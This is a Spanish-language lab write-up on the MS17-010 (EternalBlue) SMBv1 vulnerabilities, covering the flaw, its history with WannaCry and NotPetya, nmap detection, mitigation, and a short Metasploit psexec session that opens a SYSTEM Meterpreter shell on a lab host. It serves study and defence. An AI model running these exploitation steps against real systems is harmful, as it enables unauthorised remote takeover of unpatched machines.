1. Descripción técnica
MS17-010 es un boletín de Microsoft que corrige varias vulnerabilidades de SMBv1: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147 y CVE-2017-0148. Cinco permiten Remote Code Execution y CVE-2017-0147 corresponde a Information Disclosure.
EternalBlue es el nombre del exploit filtrado que se asocia habitualmente con este boletín. Un resultado positivo de smb-vuln-ms17-010 confirma exposición al boletín, pero no identifica por sí solo cuál vulnerabilidad individual se activa ni prueba que un módulo concreto vaya a funcionar de forma estable.
El fallo central está en cómo srv.sys procesa paquetes SMBv1 Trans2 especialmente manipulados. Una conversión incorrecta entre estructuras de petición (de tipo FEA list "extendido" a "no extendido") provoca un desbordamiento de búfer en el pool del kernel (non-paged pool). Combinando este overflow con técnicas de heap grooming (a menudo apoyadas en el primitivo EternalRomance/DoublePulsar), el atacante consigue escribir en memoria del kernel y ejecutar código con privilegios de SYSTEM, sin autenticación.
Se explota contra el puerto SMB 445.
2. Impacto de la vulnerabilidad
- RCE remoto, no autenticado y a nivel de kernel (
SYSTEM): compromiso total del equipo. - Propagación masiva tipo gusano: fue el motor de WannaCry (mayo 2017) y NotPetya (junio 2017), dos de los ataques de ransomware/wiper más destructivos de la historia, con daños globales de miles de millones de dólares.
- Al residir en el kernel, un fallo en la explotación puede provocar un BSOD (pantalla azul) en el objetivo.
3. Contexto
- EternalBlue fue desarrollado originalmente como herramienta ofensiva por la NSA (equipo Equation Group).
- 14 de abril de 2017: el grupo Shadow Brokers filtra el exploit públicamente.
- 14 de marzo de 2017 (un mes antes de la filtración) Microsoft ya había publicado el parche MS17-010, pero millones de sistemas sin actualizar quedaron expuestos.
- Mayo de 2017: WannaCry usa EternalBlue para propagarse mundialmente. Poco después, NotPetya repite el patrón.
- Existen módulos de Metasploit (
exploit/windows/smb/ms17_010_eternalblueyms17_010_psexec) ampliamente usados.
4. Condiciones necesarias
- Sistema Windows sin el parche MS17-010 con SMBv1 habilitado (Windows XP/Vista/7/8.1, Server 2003/2008/2012, e incluso Windows 10 temprano).
- El puerto 445 accesible para el atacante.
- La presencia del protocolo legacy SMBv1, que debería estar deshabilitado.
5. Validación y detección
- Script de Nmap dedicado:
nmap -p445 --script smb-vuln-ms17-010 target- Escaneo general de vulnerabilidades SMB:
nmap -p445 --script vuln target- Metasploit: el módulo auxiliar
auxiliary/scanner/smb/smb_ms17_010permite comprobar la vulnerabilidad antes de explotar.
6. Mitigación
- Aplicar el parche MS17-010 (solución definitiva).
- Deshabilitar SMBv1 por completo (recomendado por Microsoft incluso en sistemas parcheados).
- Bloquear el puerto 445 en el perímetro y segmentar la red interna.
- Retirar sistemas operativos sin soporte y mantener una política de parcheo ágil.
7. Explotación documentada
En 06-experience, el scanner confirma MS17-010 sobre Windows XP y se utiliza el módulo psexec del boletín. 24-eternal usa el módulo ms17_010_eternalblue contra Windows 7 SP1, mientras que 114-zero valida la exposición sobre Windows Server 2016 antes de explotar. Las salidas confirman el boletín y el contexto SYSTEM, pero no permiten asignar cada host a un CVE individual.
msf6 > use exploit/windows/smb/ms17_010_psexec
msf6 exploit(windows/smb/ms17_010_psexec) > set RHOSTS 192.168.1.139
msf6 exploit(windows/smb/ms17_010_psexec) > set LHOST 192.168.1.5
msf6 exploit(windows/smb/ms17_010_psexec) > run
[*] 192.168.1.139:445 - Target OS selected valid for OS indicated by SMB reply
[*] Sending stage to 192.168.1.139
[*] Meterpreter session 1 opened
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM8. Clasificación
- Tipo: Buffer Overflow (kernel pool) → Remote Code Execution
- Boletín: MS17-010
- CVE de RCE: CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146 y CVE-2017-0148
- CVE de Information Disclosure: CVE-2017-0147
- CWE:
- CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer